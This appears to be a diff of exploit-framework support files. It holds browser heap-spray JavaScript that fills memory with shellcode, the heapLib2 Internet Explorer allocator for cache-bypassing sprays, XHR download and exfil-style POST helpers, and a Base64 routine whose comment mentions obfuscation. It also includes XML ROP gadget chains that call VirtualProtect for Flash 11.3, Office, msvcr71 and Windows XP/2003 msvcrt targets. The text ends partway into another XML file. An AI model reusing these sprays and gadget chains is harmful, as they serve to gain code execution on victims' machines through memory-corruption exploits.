||||
retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);
|
||||
|
||||
var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;
|
||||
for (index = 0; index < heapBlockCnt; index++) {
|
||||
memory[index] = retSlide + shellcode;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,192 @@
|
|||
//heapLib2 namespace
|
||||
function heapLib2() { }
|
||||
|
||||
//These are attributes that will not actually create a bstr
|
||||
//and directly use the back-end allocator, completely bypassing the cache
|
||||
var global_attrs = ["title", "lang", "class"];
|
||||
|
||||
heapLib2.ie = function(element, maxAlloc)
|
||||
{
|
||||
//128mb
|
||||
this.maxAlloc = 0x8000000;
|
||||
|
||||
//make sure that an HTML DOM element is passed
|
||||
if(!element.nodeType || element.nodeType != 1)
|
||||
throw "alloc.argument: element not valid";
|
||||
|
||||
this.element = element;
|
||||
|
||||
if(maxAlloc)
|
||||
this.maxAlloc = maxAlloc;
|
||||
|
||||
//empty the cache
|
||||
this.Oleaut32EmptyCache();
|
||||
this.Oleaut32FillCache();
|
||||
this.Oleaut32EmptyCache();
|
||||
|
||||
}
|
||||
|
||||
heapLib2.ie.prototype.newelement = function(element)
|
||||
{
|
||||
//make sure that an HTML DOM element is passed
|
||||
if(!element.nodeType || element.nodeType != 1)
|
||||
throw "alloc.argument: element not valid";
|
||||
|
||||
this.element = element;
|
||||
}
|
||||
|
||||
heapLib2.ie.prototype.alloc = function(attr_name, size, cache_ok)
|
||||
{
|
||||
if(typeof(cache_ok)==='undefined')
|
||||
cache_ok = false;
|
||||
else
|
||||
cache_ok = true;
|
||||
|
||||
//make sure the attribute name is a string
|
||||
if(typeof attr_name != "string")
|
||||
throw "alloc.argument: attr_name is not a string";
|
||||
|
||||
//make sure that the attribute name is not already present in the html element
|
||||
if(this.element.getAttribute(attr_name))
|
||||
throw "alloc.argument: element already contains attr_name: " + attr_name;
|
||||
|
||||
//ensure the size is a number
|
||||
if(typeof size != "number")
|
||||
throw "alloc.argument: size is not a number: " + size;
|
||||
|
||||
//make sure the size isn't one of the special values
|
||||
if(!cache_ok && (size == 0x20 || size == 0x40 || size == 0x100 || size == 0x8000))
|
||||
throw "alloc.argument: size cannot be flushed from cache: " + size;
|
||||
|
||||
if(size > this.maxAlloc)
|
||||
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
|
||||
|
||||
//the size must be at a 16-byte boundary this can be commented out but
|
||||
//the allocations will be rounded to the nearest 16-byte boundary
|
||||
if(size % 16 != 0)
|
||||
throw "alloc.argument: size be a multiple of 16: " + size;
|
||||
|
||||
//20-bytes will be added to the size
|
||||
//<4-byte size><data><2-byte null>
|
||||
size = ((size / 2) - 6);
|
||||
|
||||
//May have to change this due to allocation side effects
|
||||
var data = new Array(size).join(cache_ok ? "C" : "$");
|
||||
|
||||
var attr = document.createAttribute(attr_name);
|
||||
this.element.setAttributeNode(attr);
|
||||
this.element.setAttribute(attr_name, data);
|
||||
|
||||
}
|
||||
|
||||
//These items will allocate/free memory and should really
|
||||
//only be used once per element. You can use a new element
|
||||
//by calling the 'newelement' method above
|
||||
heapLib2.ie.prototype.alloc_nobstr = function(val)
|
||||
{
|
||||
//make sure the aval is a string
|
||||
if(typeof val != "string")
|
||||
throw "alloc.argument: val is not a string";
|
||||
|
||||
var size = (val.length * 2) + 6;
|
||||
|
||||
if(size > this.maxAlloc)
|
||||
throw "alloc_nobstr.val: string length cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
|
||||
|
||||
var i = 0;
|
||||
var set_gattr = 0;
|
||||
for(i = 0; i < global_attrs.length; i++)
|
||||
{
|
||||
curr_gattr = global_attrs[i];
|
||||
if(!this.element.getAttribute(curr_gattr))
|
||||
{
|
||||
this.element.setAttribute(curr_gattr, "");
|
||||
this.element.setAttribute(curr_gattr, val);
|
||||
set_gattr = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(set_gattr == 0)
|
||||
throw "alloc_nobstr: all global attributes are assigned, try a new element";
|
||||
}
|
||||
|
||||
//completely bypass the cache, useful for heap spraying (see heapLib2_test.html)
|
||||
heapLib2.ie.prototype.sprayalloc = function(attr_name, str)
|
||||
{
|
||||
//make sure the attribute name is a string
|
||||
if(typeof attr_name != "string")
|
||||
throw "alloc.argument: attr_name is not a string";
|
||||
|
||||
//make sure that the attribute name is not already present in the html element
|
||||
if(this.element.getAttribute(attr_name))
|
||||
throw "alloc.argument: element already contains attr_name: " + attr_name;
|
||||
|
||||
//ensure the size is a number
|
||||
if(typeof str != "string")
|
||||
throw "alloc.argument: str is not a string: " + typeof str;
|
||||
|
||||
var size = (str.length * 2) + 6;
|
||||
|
||||
//make sure the size isn't one of the special values
|
||||
if(size <= 0x8000)
|
||||
throw "alloc.argument: bigalloc must be greater than 0x8000: " + size;
|
||||
|
||||
if(size > this.maxAlloc)
|
||||
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
|
||||
|
||||
var attr = document.createAttribute(attr_name);
|
||||
this.element.setAttributeNode(attr);
|
||||
this.element.setAttribute(attr_name, str);
|
||||
}
|
||||
|
||||
heapLib2.ie.prototype.free = function(attr_name, skip_flush)
|
||||
{
|
||||
if(typeof(skip_flush)==='undefined')
|
||||
skip_flush = false;
|
||||
else
|
||||
skip_flush = true;
|
||||
|
||||
//make sure that an HTML DOM element is passed
|
||||
if(!this.element.nodeType || this.element.nodeType != 1)
|
||||
throw "alloc.argument: element not valid";
|
||||
|
||||
//make sure the attribute name is a string
|
||||
if(typeof attr_name != "string")
|
||||
throw "alloc.argument: attr_name is not a string";
|
||||
|
||||
//make sure that the attribute name is not already present in the html element
|
||||
if(!this.element.getAttribute(attr_name))
|
||||
throw "alloc.argument: element does not contain attribute: " + attr_name;
|
||||
|
||||
//make sure the cache is full so the chunk returns the general purpose heap
|
||||
if(!skip_flush)
|
||||
this.Oleaut32FillCache();
|
||||
|
||||
this.element.setAttribute(attr_name, null);
|
||||
|
||||
if(!skip_flush)
|
||||
this.Oleaut32EmptyCache()
|
||||
}
|
||||
|
||||
heapLib2.ie.prototype.Oleaut32FillCache = function()
|
||||
{
|
||||
for(var i = 0; i < 6; i++)
|
||||
{
|
||||
this.free("cache0x20"+i, true);
|
||||
this.free("cache0x40"+i, true);
|
||||
this.free("cache0x100"+i, true);
|
||||
this.free("cache0x8000"+i, true);
|
||||
}
|
||||
}
|
||||
|
||||
heapLib2.ie.prototype.Oleaut32EmptyCache = function()
|
||||
{
|
||||
for(var i = 0; i < 6; i++)
|
||||
{
|
||||
this.alloc("cache0x20"+i, 0x20, true);
|
||||
this.alloc("cache0x40"+i, 0x40, true);
|
||||
this.alloc("cache0x100"+i, 0x100, true);
|
||||
this.alloc("cache0x8000"+i, 0x8000, true);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,31 @@
|
|||
function mstime_malloc(oArg) {
|
||||
var shellcode = oArg.shellcode;
|
||||
var offset = oArg.offset;
|
||||
var heapBlockSize = oArg.heapBlockSize;
|
||||
var objId = oArg.objId;
|
||||
|
||||
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
|
||||
if (offset == undefined) { offset = 0; }
|
||||
if (heapBlockSize == undefined) { throw "Size must be defined"; }
|
||||
|
||||
var buf = "";
|
||||
for (var i=0; i < heapBlockSize/4; i++) {
|
||||
if (i == offset) {
|
||||
if (i == 0) { buf += shellcode; }
|
||||
else { buf += ";" + shellcode; }
|
||||
}
|
||||
else {
|
||||
buf += ";#W00TA";
|
||||
}
|
||||
}
|
||||
|
||||
var e = document.getElementById(objId);
|
||||
if (e == null) {
|
||||
var eleId = "W00TB"
|
||||
var acTag = "<t:ANIMATECOLOR id='"+ eleId + "'/>"
|
||||
document.body.innerHTML = document.body.innerHTML + acTag;
|
||||
e = document.getElementById(eleId);
|
||||
}
|
||||
try { e.values = buf; }
|
||||
catch (e) {}
|
||||
}
|
|
@ -0,0 +1,38 @@
|
|||
var sym_div_container;
|
||||
function sprayHeap( oArg ) {
|
||||
var shellcode = oArg.shellcode;
|
||||
var offset = oArg.offset;
|
||||
var heapBlockSize = oArg.heapBlockSize;
|
||||
var maxAllocs = oArg.maxAllocs;
|
||||
var objId = oArg.objId;
|
||||
|
||||
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
|
||||
if (offset == undefined) { offset = 0x00; }
|
||||
if (heapBlockSize == undefined) { heapBlockSize = 0x80000; }
|
||||
if (maxAllocs == undefined) { maxAllocs = 0x350; }
|
||||
|
||||
if (offset > 0x800) { throw "Bad alignment"; }
|
||||
|
||||
sym_div_container = document.getElementById(objId);
|
||||
|
||||
if (sym_div_container == null) {
|
||||
sym_div_container = document.createElement("div");
|
||||
}
|
||||
|
||||
sym_div_container.style.cssText = "display:none";
|
||||
var data;
|
||||
junk = unescape("%u2020%u2020");
|
||||
while (junk.length < offset+0x1000) junk += junk;
|
||||
|
||||
data = junk.substring(0,offset) + shellcode;
|
||||
data += junk.substring(0,0x800-offset-shellcode.length);
|
||||
|
||||
while (data.length < heapBlockSize) data += data;
|
||||
|
||||
for (var i = 0; i < maxAllocs; i++)
|
||||
{
|
||||
var obj = document.createElement("button");
|
||||
obj.title = data.substring(0, (heapBlockSize-2)/2);
|
||||
sym_div_container.appendChild(obj);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,18 @@
|
|||
function ajax_download(oArg) {
|
||||
if (!oArg.method) { oArg.method = "GET"; }
|
||||
if (!oArg.path) { throw "Missing parameter 'path'"; }
|
||||
if (!oArg.data) { oArg.data = null; }
|
||||
|
||||
var xmlHttp = new XMLHttpRequest();
|
||||
|
||||
if (xmlHttp.overrideMimeType) {
|
||||
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
||||
}
|
||||
|
||||
xmlHttp.open(oArg.method, oArg.path, false);
|
||||
xmlHttp.send(oArg.data);
|
||||
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
|
||||
return xmlHttp.responseText;
|
||||
}
|
||||
return null;
|
||||
}
|
|
@ -0,0 +1,18 @@
|
|||
function postInfo(path, data, cb) {
|
||||
var xmlHttp = new XMLHttpRequest();
|
||||
|
||||
if (xmlHttp.overrideMimeType) {
|
||||
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
||||
}
|
||||
|
||||
xmlHttp.open('POST', path, !!cb);
|
||||
|
||||
if (cb) {
|
||||
xmlHttp.onreadystatechange = function() {
|
||||
if (xmlHttp.readyState == 4) { cb.apply(this, arguments); }
|
||||
};
|
||||
}
|
||||
|
||||
xmlHttp.send(data);
|
||||
return xmlHttp;
|
||||
}
|
|
@ -0,0 +1,15 @@
|
|||
if (!window.XMLHTTPRequest) {
|
||||
(function() {
|
||||
var idx, activeObjs = ["Microsoft.XMLHTTP", "Msxml2.XMLHTTP", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0"];
|
||||
for (idx = 0; idx < activeObjs.length; idx++) {
|
||||
try {
|
||||
new ActiveXObject(activeObjs[idx]);
|
||||
window.XMLHttpRequest = function() {
|
||||
return new ActiveXObject(activeObjs[idx]);
|
||||
};
|
||||
break;
|
||||
}
|
||||
catch (e) {}
|
||||
}
|
||||
})();
|
||||
}
|
|
@ -0,0 +1,126 @@
|
|||
// Base64 implementation stolen from http://www.webtoolkit.info/javascript-base64.html
|
||||
// variable names changed to make obfuscation easier
|
||||
var Base64 = {
|
||||
// private property
|
||||
_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
|
||||
|
||||
// private method
|
||||
_utf8_encode : function ( input ){
|
||||
input = input.replace(/\r\n/g,"\\n");
|
||||
var utftext = "";
|
||||
var input_idx;
|
||||
|
||||
for (input_idx = 0; input_idx < input.length; input_idx++) {
|
||||
var chr = input.charCodeAt(input_idx);
|
||||
if (chr < 128) {
|
||||
utftext += String.fromCharCode(chr);
|
||||
}
|
||||
else if((chr > 127) && (chr < 2048)) {
|
||||
utftext += String.fromCharCode((chr >> 6) | 192);
|
||||
utftext += String.fromCharCode((chr & 63) | 128);
|
||||
} else {
|
||||
utftext += String.fromCharCode((chr >> 12) | 224);
|
||||
utftext += String.fromCharCode(((chr >> 6) & 63) | 128);
|
||||
utftext += String.fromCharCode((chr & 63) | 128);
|
||||
}
|
||||
}
|
||||
|
||||
return utftext;
|
||||
},
|
||||
|
||||
// public method for encoding
|
||||
encode : function( input ) {
|
||||
var output = "";
|
||||
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
|
||||
var input_idx = 0;
|
||||
|
||||
input = Base64._utf8_encode(input);
|
||||
|
||||
while (input_idx < input.length) {
|
||||
chr1 = input.charCodeAt( input_idx++ );
|
||||
chr2 = input.charCodeAt( input_idx++ );
|
||||
chr3 = input.charCodeAt( input_idx++ );
|
||||
|
||||
enc1 = chr1 >> 2;
|
||||
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
|
||||
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
|
||||
enc4 = chr3 & 63;
|
||||
|
||||
if (isNaN(chr2)) {
|
||||
enc3 = enc4 = 64;
|
||||
} else if (isNaN(chr3)) {
|
||||
enc4 = 64;
|
||||
}
|
||||
output = output +
|
||||
this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
|
||||
this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
|
||||
}
|
||||
return output;
|
||||
},
|
||||
// public method for decoding
|
||||
decode : function (input) {
|
||||
var output = "";
|
||||
var chr1, chr2, chr3;
|
||||
var enc1, enc2, enc3, enc4;
|
||||
var i = 0;
|
||||
|
||||
input = input.replace(/[^A-Za-z0-9\+\/\\=]/g, "");
|
||||
|
||||
while (i < input.length) {
|
||||
|
||||
enc1 = this._keyStr.indexOf(input.charAt(i++));
|
||||
enc2 = this._keyStr.indexOf(input.charAt(i++));
|
||||
enc3 = this._keyStr.indexOf(input.charAt(i++));
|
||||
enc4 = this._keyStr.indexOf(input.charAt(i++));
|
||||
|
||||
chr1 = (enc1 << 2) | (enc2 >> 4);
|
||||
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
|
||||
chr3 = ((enc3 & 3) << 6) | enc4;
|
||||
|
||||
output = output + String.fromCharCode(chr1);
|
||||
|
||||
if (enc3 != 64) {
|
||||
output = output + String.fromCharCode(chr2);
|
||||
}
|
||||
if (enc4 != 64) {
|
||||
output = output + String.fromCharCode(chr3);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
output = Base64._utf8_decode(output);
|
||||
|
||||
return output;
|
||||
|
||||
},
|
||||
_utf8_decode : function (utftext) {
|
||||
var string = "";
|
||||
var input_idx = 0;
|
||||
var chr1 = 0;
|
||||
var chr2 = 0;
|
||||
var chr3 = 0;
|
||||
|
||||
while ( input_idx < utftext.length ) {
|
||||
|
||||
chr1 = utftext.charCodeAt(input_idx);
|
||||
|
||||
if (chr1 < 128) {
|
||||
string += String.fromCharCode(chr1);
|
||||
input_idx++;
|
||||
}
|
||||
else if((chr1 > 191) && (chr1 < 224)) {
|
||||
chr2 = utftext.charCodeAt(input_idx+1);
|
||||
string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63));
|
||||
input_idx += 2;
|
||||
} else {
|
||||
chr2 = utftext.charCodeAt(input_idx+1);
|
||||
chr3 = utftext.charCodeAt(input_idx+2);
|
||||
string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63));
|
||||
input_idx += 3;
|
||||
}
|
||||
}
|
||||
|
||||
return string;
|
||||
}
|
||||
|
||||
};
|
|
@ -0,0 +1,80 @@
|
|||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>11.3.300.257</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x10000000">
|
||||
<gadget offset="0x00243043">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x006e3384">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x0044a4aa">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
|
||||
<gadget offset="0x003d54df">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x005f0b25">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x002ed0f1">jmp esp</gadget>
|
||||
<gadget offset="0x003eb988">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x00662e60">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x0058289d">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x00955ebe">Writable location</gadget>
|
||||
<gadget offset="0x00414e84">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x004de801">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x0024044c">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">nop</gadget>
|
||||
<gadget offset="0x00627674">PUSHAD # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>11.3.300.265</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x10000000">
|
||||
<gadget offset="0x00487414">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x006e338c">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00437d39">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
|
||||
<gadget offset="0x0008f9c6">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x000baf77">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x002d8d5c">jmp esp</gadget>
|
||||
<gadget offset="0x00005604">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x0064a4d7">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x004087db">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x00955197">Writable location</gadget>
|
||||
<gadget offset="0x005be57f">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x003a0002">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x00244a82">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">nop</gadget>
|
||||
<gadget offset="0x004cbc7f">PUSHAD # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>11.3.300.268</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x10000000">
|
||||
<gadget offset="0x0012429b">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x006e438c">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00481a7d">MOV EAX,DWORD PTR DS:[ECX]</gadget>
|
||||
<gadget offset="0x006ae8d7">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x000a6b69">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x002b95bb">jmp esp</gadget>
|
||||
<gadget offset="0x0027f328">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x00686fe5">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x0017e345">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0092027a">Writable location</gadget>
|
||||
<gadget offset="0x002a394a">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00593802"># RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x002447d1">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">nop</gadget>
|
||||
<gadget offset="0x0062857d">PUSHAD # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
</db>
|
|
@ -0,0 +1,66 @@
|
|||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>2007</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x51bd0000">
|
||||
<gadget offset="0x000750fd">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x00001158">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x0001803c">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x0001803c">skip 4 bytes</gadget>
|
||||
<gadget offset="0x0001750f">POP EBX # RETN</gadget>
|
||||
<gadget value="safe_negate_size">Safe size to NEG</gadget>
|
||||
<gadget offset="0x00005737">XCHG EAX, EBX # RETN</gadget>
|
||||
<gadget offset="0x0004df88">NEG EAX # RETN</gadget>
|
||||
<gadget offset="0x00005737">XCHG EAX, EBX # RETN</gadget>
|
||||
<gadget offset="0x0002a7d8">POP EDX # RETN</gadget>
|
||||
<gadget value="ffffffc0">0x00000040</gadget>
|
||||
<gadget offset="0x00038b65">XCHG EAX, EDX # RETN</gadget>
|
||||
<gadget offset="0x0004df88">NEG EAX # RETN</gadget>
|
||||
<gadget offset="0x00038b65">XCHG EAX, EDX # RETN</gadget>
|
||||
<gadget offset="0x000406e9">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0008bfae">Writable location</gadget>
|
||||
<gadget offset="0x0003cc24">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x0004df8a">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x0002d94b">POP ESI # RETN</gadget>
|
||||
<gadget offset="0x0002c840">JMP [EAX]</gadget>
|
||||
<gadget offset="0x0003a4ec">PUSHAD # RETN</gadget>
|
||||
<gadget offset="0x0007a9f3">ptr to 'jmp esp'</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>2010</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x51bd0000">
|
||||
<gadget offset="0x0003e4fa">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x0003e4fa">skip 4 bytes</gadget>
|
||||
<gadget offset="0x0006a2b4">POP EBX # RETN</gadget>
|
||||
<gadget value="safe_negate_size">Safe size to NEG</gadget>
|
||||
<gadget offset="0x00069351">XCHG EAX, EBX # RETN</gadget>
|
||||
<gadget offset="0x00025188">NEG EAX # POP ESI # RETN</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget offset="0x00069351">XCHG EAX, EBX # RETN</gadget>
|
||||
<gadget offset="0x0002a429">POP EDX # RETN</gadget>
|
||||
<gadget value="ffffffc0">0x00000040</gadget>
|
||||
<gadget offset="0x0001a84d">XCHG EAX, EDX # RETN</gadget>
|
||||
<gadget offset="0x00025188">NEG EAX # POP ESI # RETN</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget offset="0x0001a84d">XCHG EAX, EDX # RETN</gadget>
|
||||
<gadget offset="0x0006c4b1">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0008c638">Writable location</gadget>
|
||||
<gadget offset="0x0000be1d">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00005383">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x00073335">POP ESI # RETN</gadget>
|
||||
<gadget offset="0x0002c7cb">JMP [EAX]</gadget>
|
||||
<gadget offset="0x00076452">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x000010b8">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x0006604e">PUSHAD # RETN</gadget>
|
||||
<gadget offset="0x00014534">ptr to 'jmp esp'</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
</db>
|
|
@ -0,0 +1,33 @@
|
|||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>*</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x7c340000">
|
||||
<gadget offset="0x00024c66">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x00024c66">skip 4 bytes</gadget>
|
||||
<gadget offset="0x00004edc">POP EAX # RETN</gadget>
|
||||
<gadget value="safe_negate_size">0x00000201</gadget>
|
||||
<gadget offset="0x00011e05">NEG EAX # RETN</gadget>
|
||||
<gadget offset="0x000136e3">POP EBX # RETN</gadget>
|
||||
<gadget value="0xffffffff"></gadget>
|
||||
<gadget offset="0x00005255">INC EBX # FPATAN # RETN</gadget>
|
||||
<gadget offset="0x0001218e">ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN</gadget>
|
||||
<gadget offset="0x00005937">POP EDX # RETN</gadget>
|
||||
<gadget value="0xffffffc0">0x00000040</gadget>
|
||||
<gadget offset="0x00011eb1">NEG EDX # RETN</gadget>
|
||||
<gadget offset="0x0002c5b9">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x00051e67">Writable location</gadget>
|
||||
<gadget offset="0x00002e58">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x0000d202">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x0000f8f4">POP ESI # RETN</gadget>
|
||||
<gadget offset="0x000015a2">JMP [EAX]</gadget>
|
||||
<gadget offset="0x00004edc">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x0003a151">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00038c81">PUSHAD # ADD AL,0EF # RETN</gadget>
|
||||
<gadget offset="0x00005c30">ptr to 'push esp # ret</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
</db>
|
|
@ -0,0 +1,71 @@
|
|||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>WINDOWS XP SP2</target>
|
||||
<target>WINDOWS XP SP3</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x77c10000">
|
||||
<gadget offset="0x0002b860">POP EAX # RETN</gadget>
|
||||
<gadget value="safe_negate_size">0xFFFFFBFF -> ebx</gadget>
|
||||
<gadget offset="0x0000be18">NEG EAX # POP EBP # RETN</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget offset="0x0001362c">POP EBX # RETN</gadget>
|
||||
<gadget offset="0x0004d9bb">Writable location</gadget>
|
||||
<gadget offset="0x0001e071">XCHG EAX, EBX # ADD BYTE [EAX], AL # RETN</gadget>
|
||||
<gadget offset="0x00040d13">POP EDX # RETN</gadget>
|
||||
<gadget value="0xFFFFFFC0">0xFFFFFFC0-> edx</gadget>
|
||||
<gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
|
||||
<gadget offset="0x0000be18">NEG EAX # POP EBX # RETN</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
|
||||
<gadget offset="0x0002ee15">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x0002ee15">skip 4 bytes</gadget>
|
||||
<gadget offset="0x0002eeef">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0004d9bb">Writable location</gadget>
|
||||
<gadget offset="0x0001a88c">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00029f92">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x0002a184">POP ESI # RETN</gadget>
|
||||
<gadget offset="0x0001aacc">JMP [EAX]</gadget>
|
||||
<gadget offset="0x0002b860">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x00001120">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00002df9">PUSHAD # RETN</gadget>
|
||||
<gadget offset="0x00025459">ptr to 'push esp # ret</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>WINDOWS SERVER 2003 SP1</target>
|
||||
<target>WINDOWS SERVER 2003 SP2</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x77ba0000">
|
||||
<gadget offset="0x00012563">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x00001114">VirtualProtect()</gadget>
|
||||
<gadget offset="0x0001f244">MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget offset="0x00010c86">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x00029801">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x00042265">ptr to 'push esp # ret'</gadget>
|
||||
<gadget offset="0x00012563">POP EAX # RETN</gadget>
|
||||
<gadget value="0x03C0990F">EAX</gadget>
|
||||
<gadget offset="0x0003d441">SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)</gadget>
|
||||
<gadget offset="0x000148d3">POP EBX, RET</gadget>
|
||||
<gadget offset="0x000521e0">.data</gadget>
|
||||
<gadget offset="0x0001f102">XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN</gadget>
|
||||
<gadget offset="0x0001fc02">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0004f001">W pointer (lpOldProtect) (-> ecx)</gadget>
|
||||
<gadget offset="0x00038c04">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00038c05">ROP NOP (-> edi)</gadget>
|
||||
<gadget offset="0x00012563">POP EAX # RETN</gadget>
|
||||
<gadget value="0x03C0944F">EAX</gadget>
|
||||
<gadget offset="0x0003d441">SUB EAX, 03c0940f</gadget>
|
||||
<gadget offset="0x00018285">XCHG EAX,EDX # RETN</gadget>
|
||||
<gadget offset="0x00012563">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">NOP</gadget>
|
||||
<gadget offset="0x00046591">PUSHAD # ADD AL,0EF # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
</db>
|
|
@ -0,0 +1,132 @@
|
|||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
